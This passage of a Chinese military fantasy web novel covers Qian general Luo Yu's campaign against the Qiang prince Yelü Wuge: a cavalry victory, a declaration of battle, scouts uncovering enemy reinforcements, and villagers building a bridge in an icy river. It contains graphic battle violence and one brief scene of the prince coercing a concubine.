只见他身形往后一仰,后背紧贴战马,长枪几乎是贴着胸口擦了过去。还不等羌骑收枪而回,万纲手中的刀锋就猛地向上一劈,枪杆齐齐劈断,紧跟着刀锋就滑向了两人的腰腹,两道血箭乍现。
肠子流了一地,模样极为凄惨,两名羌骑哀嚎着倒地,继而被数不清的马蹄踩成肉泥。
“砰砰砰!”
“嗤嗤嗤!”
两座骑阵急速对凿,别看羌骑约四千骑,两倍于阙州军,可你是败兵疲师,两千以逸待劳的生力军足够与你一战!
而且羌骑错愕无比地发现手中长矛并未帮他们取得优势,反而是乾军手中的苍刀不停地以各种刁钻的角度劈向自己的要害,战场中惨叫声不断。
“谁说苍刀不如矛!”
余寒弓面带冷笑。
你只知道一寸长、一寸强,可曾闻一寸短,一寸险!
第一轮凿阵又猛又快,眨眼间两军就越阵而出,各自向对面疾驰,拉开一段距离。
白茫茫的雪地中躺着鲜血淋漓的死尸,猩红刺眼,骨力台大口大口地喘着粗气,表情带着些震惊,没想到己方的伤亡竟然比乾军还大。
但他二话没说就带着骑兵在雪地中兜出一个巨大的弧线,准备再度凿阵。
“嗖嗖嗖!”
哪知骑阵刚刚转向到一半,一轮泼天箭雨便迎风射来,数不清的羌骑应声栽落马背。
骨力台愕然发现自己的阵型刚刚转到一半,可乾军已经转身完毕,开始第二轮冲锋,同时全军弃刀换弓,不停地靠箭矢杀伤己方。
“好快的马!”
侧身转向的羌骑被一轮又一轮的箭矢射蒙了,阵型顿时有些松散,而乾军已经冲到眼前。
“换刀!”
余寒弓目光狰狞,两千骑在骨力台绝望的目光中从侧面狠狠切入战场,惊慌失措中的羌骑只能硬着头皮原地转向,再也顾不得阵型,各自迎敌。
“铛铛铛!”
“砰砰砰!”
“嗤嗤嗤!”
这一轮凿阵可算是打在了羌兵的七寸,原本还算齐整的阵型眨眼间被冲得四分五裂。对骑军来说失去阵型厚度是极为致命的事,一股恐慌与不安迅速在军中蔓延。
寒羽骑全军上下只是默默地出刀、收刀,将一名名敌骑斩于马下,神情无比冷漠,人人化身成杀戮的机器。
等第二轮凿阵结束时羌兵已经溃不成军,尸横遍野。
可寒羽骑没有收手的架势,越阵而出之后迅速兵分两路,呈雁形阵铺开锋线,人人弯弓搭箭,甚至还没等到骑军转向就再一次泼射出箭雨。
全军上下如臂挥使,配合默契。
“嗖嗖嗖!”
“嗤嗤嗤!”
宛如蝗虫般的箭矢压垮了羌骑心中的最后一口气,很多骑卒被还没冲到敌军面前就被射成了马蜂窝。惨绝人寰的哀嚎声回荡在山谷之间,等寒羽骑从两翼对凿军阵的时候羌兵已经组织不起有效的反抗,完全是在被屠杀。
“稳住,稳住啊,全军迎战!”
骨力台无比绝望,任凭他如何嘶吼,军阵也是七零八碎,一柄柄苍刀就像是死神的镰刀,不停收割手下军卒的人头。
“轮到你了!”
余寒弓的冷喝声在他耳边炸响:
“不是想和我正面凿阵吗?怎么,这就打不过了?”
真跟你凿阵,你又不乐意了。
“该死的!卑鄙无耻!”
骨力台暴怒无比,挥枪而来:
“老子杀了你!”
一记劈枪势大力沉地砸落头顶,余寒弓举刀一挡,沉重的力道竟然震得他手臂发颤,此将之勇武果然骇人。
“我还没有输!先杀了你!”
一枪之后又是一枪,枪杆拦腰砸向余寒弓的腰腹,余寒弓从侧面一记,以四两拨千斤的巧劲挡开了长枪,同时刀锋贴着枪杆急速上滑,转守为攻,掠向骨力台的咽喉。
“哼,雕虫小技!”
本以为骨力台会被这一招逼得后退,哪知此人不仅不避,反而脑袋一歪用肩膀迎向刀锋,同时手中长枪再度用力,劈向余寒弓的腰腹。
“妈的,这个疯子!”
余寒弓目光陡变,退无可退,只能一招换一招!
“铛!”
“噗嗤!”
刀锋入体,长枪砸胸,两位主将在这一记凶悍的对拼下同时坠马。
但骨力台的力道太大了,余寒弓猛地喷出一口鲜血,腹部传来的剧痛令他眼前一黑。
骨力台也好不到哪儿去,肩膀处被刀锋割出一个巨大的豁口,血肉外翻。他强忍着剧痛起身,一脚踢在了余寒弓的手腕上,苍刀飞出老远。
接连重击之下,余寒弓满嘴血末,被骨力台一脚踩住了胸口。
“呸!”
赤手空拳的余寒弓在骨力台眼中宛如死人,恶狠狠的抬刀高举:
“本将乃是万户猛安,岂会败在你这种宵小手里!”
“死吧!”
眼看着刀锋即将挥落,面色冰冷的余寒弓从地上摸到了一把弯弓,顺势横挥,猛地击在刀背上,一个侧击让骨力台踉踉跄跄地往地上一栽。
不等他起身,余寒弓就一手弯弓,一手搭箭,狞笑道:
“万户猛安又如何!”
寒芒毕露的箭头令骨力台瞳孔骤缩,惊骇欲绝。
“嗖!”
箭弦一松。
如此近的距离,强劲无比的力道,带着雪白翎毛的箭矢瞬间洞穿了骨力台的咽喉。
骨力台捂着狂喷鲜血的咽喉绝望的往后一倒,浑身抽搐。
余寒弓搭起第二支箭,狞笑一声:
“老子杀的就是万户!”
……
寒山谷口的另一边,两座军阵遥遥对峙,杀气在空中弥漫。
为什么耶律乌戈的主力迟迟不能前出救援?因为他被挡住了,当他看到那面“洛”字帅旗的时候他就知道骨力台凶多吉少。
洛羽率军亲至,一千亲兵、两千虎豹骑列阵身后,比起近万羌兵看起来兵力稀少,可寒山谷口十分狭窄,容不得你铺开锋线,想要撞开三千精骑谈何容易?
洛羽十分平静地驻马而停,并无开战的意思,只要羌兵不动他就不动。
兀良平黑着脸问道:
“殿下,要不杀过去吧!”
“只怕为时已晚啊。”
耶律乌戈面带苦涩,其实寒羽骑和骨力台交战的战场就在山谷另一侧,嘶吼声顺着山谷传了过来,但现在吼声越来越小,明显已经分出了胜负。
谁赢谁输?
“轰隆隆!”
马蹄声骤然回荡,上千精骑从谷中疾驰而来,与洛羽合兵一处,军中高举着一面“寒羽”大旗。
全军悍卒昂首挺胸,杀气腾腾,原本人人白袍,一场激战已经将衣袍染成了红色。
“败了。”
耶律乌戈死死攥紧拳头,咬牙切齿:
“洛羽,我誓杀汝!”
一场志在必得的胜利变成了惨败,耶律乌戈心中的愤怒可想而知。
吼声回荡,穿透虚空。
洛羽策马向前,神色平静,提枪一指:
“下次再见,死的就是你!”
第234章来,给我泄泄火
“寒羽骑回城!”
“阵斩万户猛安骨力台,献敌将首级!”
“轰隆隆!”
大批浑身染血的白袍骑军纵马入城,阵斩万户、歼敌数千的喝声不绝于耳,虽然激战许久,但所有骑卒的脸上都带着一抹骄傲,浑然不觉疲惫。
鲜血是荣耀!
万户的人头更是寒羽骑成军的傲然战绩!
各营士卒都投来了充满敬意的目光,这是百战精锐们应得的。
不管是阙州军还是定州、并州的新兵蛋子,敬佩强者已经成了他们的本能,甚至恨不得自己也成为精锐骑卒的一员。
要知道短短几个月前,两州很多军卒、将校都觉得打硬仗的是傻子,缩在后面保存实力不好吗?乐呵呵地活着不好吗?
但现在所有人都以畏战不前为耻,敢打敢拼为荣!军中风气不知不觉间发生了改变。
凌桐目光怔怔:
“老将军,你有没有感觉到咱们的兵变了?”
“是啊,以前打个仗扭扭捏捏,见到羌兵就跑,可此次城内战斗,个个吼着往前冲。”
君沉苦笑一声:
“老夫在定州带兵也有几十年了,头一次见到这样的兵,头一次有种热血沸腾的感觉,真是稀奇啊。”
“或许他真的不一样吧。”
凌桐没说是谁,但两人都不约而同地看向城头,一道坚毅的背影矗立在风中,玄色的甲胄在寒风中铛铛作响。
“帅,真帅啊。”
曹殇与霍连城站在城门边上,脸上那叫一个羡慕,尤其是“寒羽”军旗让两人直流哈喇子。
“唉,霍兄,你说咱们咋就没捞到硬仗打呢。”
曹殇愁容满面:
“开战之前骑军五营,人家成了虎豹骑、血归军、寒羽骑,咱们两还顶着个校尉的名头苦哈哈地带兵。
倒不是老子想要升官发财,实在是捞不到硬仗打,脸上无光啊。”
“谁说不是呢。”
霍连城也撇撇嘴:“我营中那几个都尉都闹翻天了,说别人打仗喝酒吃肉,咱们只能跟着喝汤。”
“妈的,下次,下次一定要抓住机会!”
两人恶狠狠地握紧拳头:
“谁也别想抢!”
这一幕被城头上的洛羽看了个正着,笑呵呵地说道:
“瞅瞅,曹殇和霍连城两个家伙坐不住了,现在让他们带兵冲去羌兵帅帐他们都敢。”
“想打仗是好事啊。”萧少游也满脸笑容:“耶律乌戈还没退,有的是仗打,军心士气嘛,就是这么来的。”
“这一仗打得确实漂亮,将计就计把羌兵引入城中,再接连布置伏兵截击,六千精骑就这么全军覆没。”
君墨竹饶有兴致地问道:
“但我很好奇,你们是怎么知道百姓中混着羌兵细作的?”
当夜羌兵入关,君墨竹真的以为寒山关被攻破了,直到现在他也没搞清楚洛羽和萧少游是怎么看出来的。
“很简单,站在耶律乌戈的角度去看问题就好了。”
洛羽平静地说道:
“他把难民营摆在最前沿引诱我们上钩,战局无非两种结果,一种我们败了,另一种就是百姓被我们救走。
他们赢了自然好说,可要是输了呢?以耶律乌戈的性子自然地留下后手。
把死士混入百姓中就是一招后手,潜入寒山关,学我们套路里应外合,转输为赢!不管营救百姓的结果如何,耶律乌戈的赢面都会增加。”
萧少游接过话道:
“所以难民入城之后我们就暗中派人监视,果然发现了一些奇怪的男子,个个身材魁梧,眼神中没有寻常百姓的那种麻木、颓废,反而带着一股狠劲。
就算他们与百姓混得很熟,也盖不住身上那股子杀气!”
“料敌从宽,未卜先知,厉害啊。”
君墨竹佩服不已,从开战到现在,二人一连串的部署已经让他心服口服,确实是领兵帅才:
“下一步呢,你们打算怎么办?”
“大雪封山,先让将士们休整些时日吧,等雪化了再开战。”
洛羽遥遥望向曳落河的方向:
“下一战就该解决边关战事了,跟他斗了这么久,也该有个了结。”
……
“妈的,该死的洛羽!”
“砰砰砰!”
“一介乳臭小儿、军伍发家的破落户罢了,岂敢于本殿争锋!”
“若是不杀了他,难解我心头之恨!”
耶律乌戈刚回到帅帐就把桌椅砸成了稀巴烂,见到什么砸什么,兀良平战战兢兢地杵在边上,一个字都不敢说。
吃了这么大的亏,心情能好就怪了。
细细盘算,自从洛羽到了前线之后耶律乌戈一败再败,堂堂大羌九皇子被整得颜面全无。
“哎呦,殿下这是怎么了,发这么大的火?”
一名美姬赶忙从帐后走了出来,用胸脯贴着耶律乌戈的手臂来回磨蹭,还娇滴滴地说道:
“殿下消消气嘛,胜败乃兵家常事,何必如此在意?”
“区区乾狗罢了,以殿下的英明神武,下一战定能将敌军打得落花流水!”
婀娜的身姿、雪白的春光,任谁看了不迷糊?
“该死的娘儿们,本殿现在火气很大!”
耶律乌戈可没有丝毫的怜香惜玉,揪住美姬的头发往身边一拽:
“来,给本殿泄泄火!”
兀良平的眼皮子轱辘直转,不声不响地退了出去,立在帐外纹丝不动,周围的卫兵心领神会,同时往外迈了一步。
十息后,帐内终于传出一声畅快的长呼,兀良平迈动脚步再次走了进去,四周甲士齐齐叹了口气:
“唉。”
美姬已经消失不见,耶律乌戈正在整理着衣袍,脸上的怒气消散了很多。
“殿下。”
兀良平开口说话:
“经此一败,我军兵力折损严重,只怕短时间内无法进攻寒山关了。要不暂时退兵回草原,等来年开春再战?”
“开春再战?那我大羌的兵威何在?”
耶律乌戈冷冷的说道:
“数十年来,你可曾见过有皇子领兵不胜而回?就这么灰头土脸地回去,本殿的脸还要不要了?”
“殿下,不是末将怯战,可如今敌我局面已不利于我。”
兀良平小心翼翼地说道:
“乾军兵力、士气皆优于我军,再驻扎此地,恐有风险啊。末将一命死不足惜,可殿下千金之躯,怎能有危险?”
“我还是那句话,大羌没有怕死的皇子!”
耶律乌戈冷冷地看着地图,沉思半天:
“将所有兵马收缩于曳落河西岸,据险而守。另外我会写一封信,立刻派人送回草原。”
“诺!”
耶律乌戈攥紧拳头:
“洛羽,我们就看看,谁有本事笑到最后!”
第235章分胜负,决生死
大乾历
景丰十年渐渐来到了尾声,要不了几天就是新年了。
大地上盖着的银装素裹消失不见,取而代之的依旧是黄沙寂寥、寒风满天。
前线战场再一次进入偃旗息鼓的状态,唯有双方斥候日夜不停地在黄沙中游弋,每每遭遇便是一场死战。
边关见不到半点新年将至的喜悦,唯有一股肃杀之意笼罩在所有边军将士的心头。
帅帐鼓响,众将齐至。
两排武将齐刷刷地坐在屋中,个个腰板挺得笔直,目光盎然,注视着主位上那道玄色甲胄。
现在三州军卒从上到下没有一个不服洛羽的,他用一场场胜仗告诉所有人,陇西边军足以和羌人一战,且战而能胜!
君沉、凌桐皆如此,心甘情愿服从其号令,正如洛羽之前说的,陇西三州,何分彼此!
萧少游当先开口,手指地图:
“上一战西羌损兵折将,敌兵力仅剩万人出头,目前全军都撤到了曳落河西岸,以帅帐所在的断戈川为中心,深挖壕沟、据险而守。
据斥候探报,现在羌兵龟缩不出,但也没有撤军的打算,每日就是不断地加固营房,似乎想钉死在断戈川。”
“好奇怪。”
君沉眉头微皱,苍老的皱纹挤成一团:
“耶律乌戈兵力不足又士气低落,凭这么点兵马想要进攻寒山关毫无可能,天寒地冻的,赖在这里干嘛?”
“现在应该不止万余人了,半个月里陆续有几支游骑汇入军中,耶律乌戈手中应该有一万五千兵马左右。”
“那也不够对寒山关发起进攻啊。”
凌桐皱眉道:“不打不撤,他把这里当成草原腹地了?”
“他当然是在等,等大队援兵抵达。”
洛羽平心静气地说道:
“他是西羌九皇子,这些年来西羌皇子领兵征战从无败绩,皇族的尊严不允许他这么灰头土脸地回去。
他想赢,而且必须赢!
但兵力不够怎么办?所以得调援兵。”
“又调援兵?”
君墨竹皱了皱眉头:“从开战到现在羌兵已经增兵多次,添油加醋,照这么打下去何年何月才能解决边关战事?半年?一年?
我们的后勤军粮可撑不了那么久。”
此次大战朝廷几乎一两银子都没拿出来,所有军粮军饷全靠三州自己供应,陇西本就贫瘠,这么打下去迟早被拖垮。
“君兄说得没错,我们拖不起。”
洛羽目光冷厉:
“要想速战速决就只有一条路可以走,那就是在援兵抵达之前彻底击败羌兵,杀了耶律乌戈!”
杀了耶律乌戈,铿锵有力的话语令众将心头一震,这可是皇子啊,要是把人杀了,一定会引来西羌的血腥报复。
“怎么了,皇子就杀不得吗?”
洛羽似乎看出了众人的心思:
“只要杀了耶律乌戈,不管敌人来多少援兵必会胆寒,只能撤军回草原。
我知道你们在想会不会引起西羌的疯狂报复。
放了耶律乌戈,羌兵就不会再犯境了吗?不,他们只会认为我们软弱,只会变本加厉地犯我边关!
再多说一句,此次耶律乌戈残害了数以千计的老百姓,你们忘了那些村落被屠杀的凄惨景象了吗?
这个仇就不报了?
要想保边关和平,就得用羌人的血告诉他们!陇西绝不是他们想来就来,想走就走的地方!
以战止战,方为上策!”
“轰!”
“以战止战,方为上策!”
一番话令众将的眼中再无犹疑,取而代之的是一抹坚定!
没错,宰了耶律乌戈才能平息战事!
洛羽转身看向地图:
“要想吸引羌兵再次出击是不可能了,想赢只能主动出击。寒山关距断戈川百里之遥,大军出征毫无隐蔽可言,所以这次我们堂堂正正地下战书,告诉耶律乌戈,我们要和他在断戈川决战!”
“他会迎战吗?”
“当然会。”
洛羽讥讽一笑:
“此人心高气傲、极为自负,如果咱们偷偷行动,他可能会跑,但光明正大的下战书他就绝不会走,一定会迎战!
断戈川的地形近乎于一马平川,只有些许丘陵起伏,所以此战没什么谋略,最好的办法就是正面开战,引敌主力倾巢而出,再派一支奇兵绕道身后,前后夹击,一战功成!”
众人微微点头,断戈川的地形确实想不出什么奇招。
“不过羌人斥候一直在正面游弋,大队骑兵出动一定会被发现,所以这支骑兵得绕道而行,避敌耳目。
我和萧将军已经研究过了,可以向西北方行军,绕过寒山山脉,从曳落河涉水而过,再急行军八十里直插断戈川背后。
长途行军,抵达战场之后还得有一战之力,这支奇兵任务艰巨,事关此战成败!”
洛羽环视全场:
“不知哪位将军愿意领兵?”
“末将愿往!”
曹殇与霍连城两人就像是约好的一般,重重往前一踏。
“你们两人要去?”
洛羽抱着膀子,有些为难:
“哎啊,你们两营兵马我还打算用作正面的主力呢,要不还是让血归军去吧,再说了,奴庭军卒对羌兵有滔天之恨,士气旺盛,用他们作奇兵的效果最好。”
“不行!”
曹殇急了:
“将军,总不能什么好事都被这几个家伙捞走吧?这次说什么也得让我两去!
第二营第五营定能完成任务,从背后痛击羌贼!”
“果真吗?”
洛羽反问道:
“长途奔袭近两百里,还得战而胜之,难度不小啊。”
“我二人愿立军令状!”
霍连城怒喝一声:
“完不成任务,末将提头来见!”
“对,提头来见!”
曹殇还瞪了一眼四周的同袍武将:“都给我坐着,谁也不许抢!”
两人杀气腾腾的模样,这时候如果有人跳出来抢任务肯定得翻脸。他们眼巴巴等这一天太久了,就指着一场硬仗让两营将士扬眉吐气。
萧少游与君墨竹贱兮兮的笑着,这激将法用得也太直白了。
“好!那奇兵就是你们两了!”
洛羽终于拍板,环视全场:
“军令!”
“此战本将与萧少游亲自率兵前往断戈川,君沉、凌桐、石敢各点三千步卒随行,虎豹骑、血归军、寒羽骑一并出征!曹殇、霍连城两营为奇兵,绕行曳落河上游,直插断戈川背后。
韩朔率先登营留守寒山关,不管前线打成什么样,务必确保边关安全。
各营兵马三天后拔营出关,五天后的大年三十便是开战之日!”
“遵命!”
洛羽的拳头狠狠往地图上一砸:
“此战务必全歼羌敌,杀耶律乌戈!不为别的,就是为了告诉羌人,我陇西边军不惧任何敌人!”
众将齐声怒喝:
“全歼羌敌,杀耶律乌戈!”
“陇西必胜!”
……
羌军帅帐
耶律乌戈斜靠在椅背上,眼眸中涌动着怒意。
他手中握着一封乾军刚刚送来的战书,乃是洛羽亲笔所写,只有一句话:
五天后,取你首级!
“是时候了。”
耶律乌戈面无表情,用烛火将战书焚为灰烬,呢喃一声:
“此战既分胜负,也决生死!”
第236章哪来的八千骑
刺骨的寒风拍在脸上犹如刀刻斧凿,钻得人心疼,西境的严寒可不是一般人能够忍受的。
寒山关城门大开,气势雄壮的大军迈步而出,向西行军,至岔路口时兵分两路,一路向西直扑断戈川、另一路绕过山脉,转向曳落河的上游。
正面主力一万六千之众,与羌兵正好持平,曹殇与霍连城的奇兵总计五千精骑,只要能顺利抵达战场,定然能一战功成!或许有人会问,五千骑为何不直接汇入正面主力?
五千骑在明还是在暗,那效果可是天壤之别。
岔路口,洛羽、萧少游等一众武将驻马而立,就连君墨竹也混在人群里。洛羽本意是不想带着文人出征的,怎奈君墨竹苦苦相求,拗不过他。
洛羽望向远去的庞大骑队略带忧心:
“五千骑啊,两天要赶近两百里的路,这一仗你二人肩上的担子很重。”
可以看见骑队中混杂着不少平民百姓,甚至还有妇女,他们驾着马车、驴车随行,上面满满当当装载着甲胄军械。
因为长途奔袭对战马的体力消耗极大,但城中又无法给五千骑配足一人两马,只好征召一些民夫帮着驮运甲胄、兵器、干粮,等过了曳落河就全靠他们自己了,听闻大军要出城打羌人,很多百姓自告奋勇地要帮着运输物资,就连妇人也不例外。
当时君墨竹还感叹了一句民心所向。
两人齐齐抱拳:“请将军放心,末将一定能完成任务,按时抵达断戈川!”
“有你二人在我自然放心。”
洛羽重重一拍曹殇的肩膀:
“此战你为主将,霍连城副之,沐峰那队精锐游弩手我也配给你,途中遇事可临机决断!”
“卑职领命!”
曹殇一开始很严肃,然后咧着嘴笑了一句:
“当初从饮马镇跟着将军,你答应过我有朝一日我也能成为大将军。这一战要是打赢了,您可得给我二人封个将军当当!”
“哈哈,没问题。”
洛羽大笑一声,手掌轻挥:
“出发吧!”
“驾!”
两人纵马疾驰,绝尘而去,庞大的骑阵眨眼间就消失在山脉的尽头。
“我们也该走了。”
洛羽遥望前方:
“耶律乌戈的脑袋还等着我们去砍呢。”
……
“驾!”
“哒哒哒!”
一连串急促的马蹄声响起,身披轻甲、马负弓弩的游弩手穿行于茫茫黄沙之中,雄壮的马蹄在地面留下长串的马蹄印,眨眼间又被黄沙重新掩盖。
领头的正是百户沐峰,他提前一天就带着一百精骑越过了曳落河,为曹殇的大军开路。百人轻骑一路上隐藏踪迹,压根没撞见羌兵斥候。
“停!”
“吁吁!”
疾驰中的沐峰突然抬手一挥,大队骑军迅速止步,半数游骑迅速向四面散开,警戒周围,井然有序。
副百户齐田凑了过来:
“头,怎么了?”
“总觉得哪里不太对劲啊。”
沐峰紧盯地面,翻身下马,从地上抄起一把黄沙碾碎,顿时露出一团黑乎乎的东西。
“马粪!”
齐田的目光陡然一寒,沐峰蹲下身,指尖碾开沙土下的马粪。尚未完全风干的粪块黏在手上,散发出一丝腥膻,里面还裹挟着精饲料的残渣。
只有战马才需要用精饲料喂养!
沐峰的神色彻底凝重:“马粪还未干,看来骑兵过去的时间还不久。”
“搜索四周!”齐田低喝一声:“看看有多少马粪!”
“难道是羌人的斥候跑到这里来了?”
一众游弩手纷纷下马,在茫茫黄沙中仔细搜寻,挖出了越来越多的马粪。马蹄印可以被风沙掩盖,但马粪不会。
马粪的数量超乎了两人的想象,绝不会是小队斥候留下来的,而是大队骑军!
“好生奇怪。”
沐峰的眉头挤成了一团:“这里不是正面战场,从哪儿冒出来的大队骑兵?羌兵的主力应该全在断戈川才对啊。”
两人对视一眼,心中隐隐浮现出一抹不详的预感。
“全都上马!”
沐峰翻身上马,冷喝一声:
“沿着马粪的痕迹给我找,看看是哪儿来的牛鬼蛇神!”
……
夜幕漆黑,晚风呼啸。
沐峰与齐田带着十几名精锐贴着地面小心翼翼往山坡顶端爬去,连呼吸声都压到了最低。
虽然还看不清山坡下面的景象,但已经能听到隐约的嘈杂声,能出现在关外的肯定不是自己人,只会是羌兵!
“窸窸窣窣。”
爬啊爬,寒风顺着领口灌进几人的衣袍,浑身冻得冰寒,十几人顶着瑟瑟冷风总算爬到了山坡最高处,当他们探出脑袋的那一刻被眼前的景象惊呆了。
三三两两的篝火堆宛如长龙横亘在山坡之下,密密麻麻的羌兵围坐在火堆旁休息,还有数不清的战马拴在一旁,低沉的嘶鸣声此起彼伏。
“这,这怎么可能!”
沐峰的眼眸中第一次出现了慌乱,甚至说是惊恐。
这里离断戈川还有八十里,不应该出现如此多的羌兵才对。
“太多了,太多人了。”
齐田脸色铁青,顺着火光一点点向远处望去,最后说了一句:“看架势至少得七八千骑。”
都是游弩手的老兵,光从队伍的规模就能大致判断出敌军的人数。
“不应该啊,哪来的羌兵!”
沐峰攥紧拳头,脑海中思索了许久:
“看他们行军的方向也是往断戈川去的,肯定不是从羌军大营出来的兵马。那只有一种可能,他们是草原来的援兵,只不过为了躲避我军斥候的侦查也选择了绕道而行!”
巧啊,这么一支骑军竟然被几名游弩手发现了!
“一定是了。”
齐田满脸的愁容:
“那等曹将军率军渡河不就会迎面撞上吗?或者说两军正在大战之际,这支精骑突然杀入战场,那后果不堪设想啊!”
两人不敢再往下想了,这不是八百骑,而是八千骑!
足以改变一场战争的胜负!
“不行,必须要将消息传给曹将军。”
沐峰当机立断:
“走!”
“嗖!”
两人刚要有所动作,一阵急速的破风声就在耳边炸响。
沐峰浑身的汗毛都竖了起来,狠狠一脚将齐田踢开:
“小心!”
“嗖!”
“嗤!”
一支利箭当空而落,刚刚好射在齐田刚刚藏身的位置,惊得他浑身直冒冷汗。
远处的夜色中已经有怒喝声响起:
“有人!”
“给我追!”
“妈的,被发现了!”
沐峰破口大骂,几人一溜烟地滑下山坡与游弩手汇合一处,山坡侧面正有上百羌骑呼啸而来,厉喝声在夜色中显得极为可怖,另一个方向隐约也有马蹄声传来,显然是四周警戒的羌兵斥候。
整旗游弩手汇聚在一起,人人目光狠厉,这种危局之下也无半点慌乱。
“蹭!”
沐峰抽刀而出,面无表情地说道:
“杀出去,就算是只剩一兵一卒,也要将消息传给曹将军!”
第237章肉身之桥,此战必胜
“杀!”
“铛铛铛!”
“嗤嗤嗤!”
日出清晨,两队斥候正在激烈搏杀,一柄柄弯刀挥舞,不断有血花溅落黄沙。
从半夜被发现到天明时分,他们已经第三次被羌兵围住了,且围过来的敌军越来越多,数倍于己,游弩手面临的情形越发危急。
“喝!”
沐峰怒目圆睁,迎面挥刀砍向敌骑,锋利的苍刀竟然当空劈断敌刃,继而在羌兵惊恐的眼神中笔直挥落,一刀破其咽喉。
死尸坠地,马蹄践踏。
四周刀光剑影、血肉纷飞,斥候间的遭遇战毫无战术可言,见面就是近身肉搏,比的就是谁更狠!谁的刀更快!
望着不断落马的同袍,沐峰心急如焚,军情若是传不出去那他们就是此战的罪人!
“啊!”
陡然一声凄厉的哀嚎响起,沐峰牙呲欲裂:
“老齐!”
只见齐田以一敌三,在奋力斩杀两人之后却不幸被第三名羌骑一刀砍中腰腹,拉开一道触目惊心的豁口,血流如注。
“给我死!”
齐田脸色一白,强忍剧痛横挥一刀,将最后一名羌骑斩于马下。
“老齐!”
沐峰心如刀绞,眼眶猩红,齐田则嘶吼出声:
“头,杀出去!”
“妈的,跟你们拼了!”
沐峰青筋暴涨,整个人陷入癫狂,手起刀落将逼近身前的敌兵杀得鲜血飞溅。
以他为尖头,一众游弩手隐约形成一个锥形锋线,齐齐向外冲杀,一时间羌兵阵型骚乱,愣是被他们杀出了重围。
“驾!”
战马狂奔,整整一旗游弩手已经折损过半,剩下的四五十人也浑身是血,齐田更是面色惨白,强行撕开衣袍往腰腹处一裹,摇摇欲坠。
那是致命的一刀!
“追!”
“一兵一卒也不要放过!”
羌兵丝毫没有放他们离去的意思,近两百精骑紧追不舍,怒喝声此起彼伏。
马蹄声回荡在耳旁,沐峰不停回头张望,一众将士接连鏖战,战马的体力早就耗尽,眼瞅着羌兵就要追上来了。
“头,你先走!”
齐田一咬牙:“我带人断后!”
“不行,你走,我来断后!
你不是说了吗,等打完这场仗就回家娶媳妇!人姑娘在等你!”
沐峰很清楚,这种局面谁断后谁必死!
“这时候还争什么!”
齐田惨然一笑:
“反正老子活不长了,何必再白白搭上一条命!总得给咱们旗留个种吧?”
他能感受到体内的生机在迅速流散,鲜血已经将马背染得通红,就算没有追兵他也是死路一条。
不等沐峰回话,齐田怒喝一声:
“伤兵转身,随我断后!”
“嘶嘶嘶!”
顿时有半数骑兵勒住缰绳,毫不犹豫地跟着齐田转身迎敌。
伤兵断后,听起来十分残忍,可却能保证剩下来的人尽可能活下去。
“兄弟们,保重!”
沐峰也不是优柔寡断之人,拍马远行,眼眶中闪烁着泪花:
“我定会替你们报仇!”
“驾!”
后方是渐行渐远的同袍,前方是十倍于己的追兵,二十来号游弩手神情漠然,视死如归。
齐田的眼神中闪过一抹悲戚,脑海中闪过一张娇羞的脸颊,那是他同村的姑娘。
出征之前她对他说,等回了家就成亲,她要嫁给边军的大英雄!
“唉。”
齐田喃喃道:“下辈子再娶你吧。”
下一刻,他的目光彻底冰冷,狠狠吐出一口唾沫,提刀怒吼:
“呸!”
“该死的羌贼!让你们看看,什么叫陇西男儿!”
“死战!”
……
曳落河畔,曹殇与霍连城急得团团转:
“怎么会这样!为什么!”
“河水怎么不结冰的!这么冷的天竟然不结冰!”
“他妈的!见鬼了不成!”
两人率军一路绕行,紧赶慢赶总算来到了曳落河上游,却被滔滔不绝的河水给拦住了。
如此严寒河水竟然没有结冰,而且水流湍急,哗啦啦的水声令人头疼不已。
要知道下游的河水早就冻起来了,冰面严严实实,战马都可以踩过去,而且下游水浅,就算不结冰也可以涉水而过,毫无压力。
所有人都傻眼了,周围的百姓更是鸦雀无声,目光茫然。
这种情况是所有人都没预料到的,毕竟是关外,很少会有人到这里来,鬼知道上游不会结冰。
霍连城满脸焦急,攥紧拳头:
“怎么办?实在不行就涉水而过!”
“只怕不行啊。”
曹殇眉头紧拧:
“这里的水没过胸口,水流又急,战马压根不敢下水。”
“那就全军下马,拖着战马过去!”
“不行!太冷了!河水浸透衣服,过一会儿就得结冰,到不了断戈川就得全冻死,还怎么打仗!”
“这也不行那也不行,你告诉我怎么办!”
霍连城急得团团转:
“你忘了将军交待我们两的话吗!
此战胜负皆在奇兵,我们可是立了军令状的,就算是爬也得爬到断戈川!”
曹殇默然不语,彻底没了主意。
人算不如天算啊。
“搭桥,我们可以搭桥!”
百姓人群中突然有人颤颤巍巍地举起手,小心翼翼的说道:
“我们把马车全都拆了,下水搭桥,战马不久可以过去了?”
两位武将的眼神猛然一亮,这还真是个办法!
可霍连城紧跟着摇了摇头:
“太冷了,你们不能下水,会冻僵的,我们抽几百军卒下水搭桥。”
“那怎么行!”
又有百姓提出了异议:
“你们要去杀羌贼!多一个人就多一份助力!”
“对!我们来搭桥!”
人群中不断响起附和的声音,一位农家妇人二话不说,推翻马车就开始拆车板:
“乡亲们!下水!搭桥!”
“都动起来!帮将士们过河!”
不管是青壮男子还是农家妇人,全都忙碌起来。
他们拆开木板,肩扛手提,接二连三地跳入冰冷的河水,用肩膀顶着木板,硬生生在河面上搭起了好几座浮桥。
所有军卒都愣住了,这么冷的天,如此寒的水,这些百姓却毫不畏惧地跳了下去。
曹殇怔怔然,他突然明白了洛羽之前说过的一句话:
要民心!
要让三州百姓知道,如今的边军不一样了!
如果不是民心所向,百姓们凭什么冒着生命之危下水搭桥?
因为他们想赢!也知道这些将士不会让他们失望!
刺骨的河水冻得他们直哆嗦,手脚僵硬,可在湍急的水流中一座座木桥纹丝不动,看起来牢固无比。
第一个跳入水中的妇人喊道:
“将军!过桥啊!”
“我丈夫,我儿子都死在羌人手里!一定要替他们报仇!”
“羌贼屠了我们村子!上百口人只活了我一个!将士们!杀尽羌狗!”
愤怒的咒骂,坚定的眼神!
这是陇西人的仇!滔天血仇!
“谢父老乡亲!”
曹殇眼眶通红,扑通往地上一跪,全军下马,人人跪地。
曹殇咬牙切齿地喝道:
“此战若是不胜,就让我五千骑埋骨黄沙!”
“过桥!”
第238章我要战场抗命
断戈川
大年三十,一万六千乾军精锐越过曳落河,抵达了战书中约好的战场。
一座座骑步军阵矗立黄沙,漫天飞舞的“洛”字军旗迎风而立,数以万计的将士高昂着头颅,目光中满是战意。
数十年来陇西边军第一次出现在这里,虽然才出关百里,但足以见得如今的边军已不再是曾经的孱弱之师。
其实大军越过曳落河之后已经攻陷了两座前哨军营,千余守军在雄壮的马蹄下灰飞烟飞。
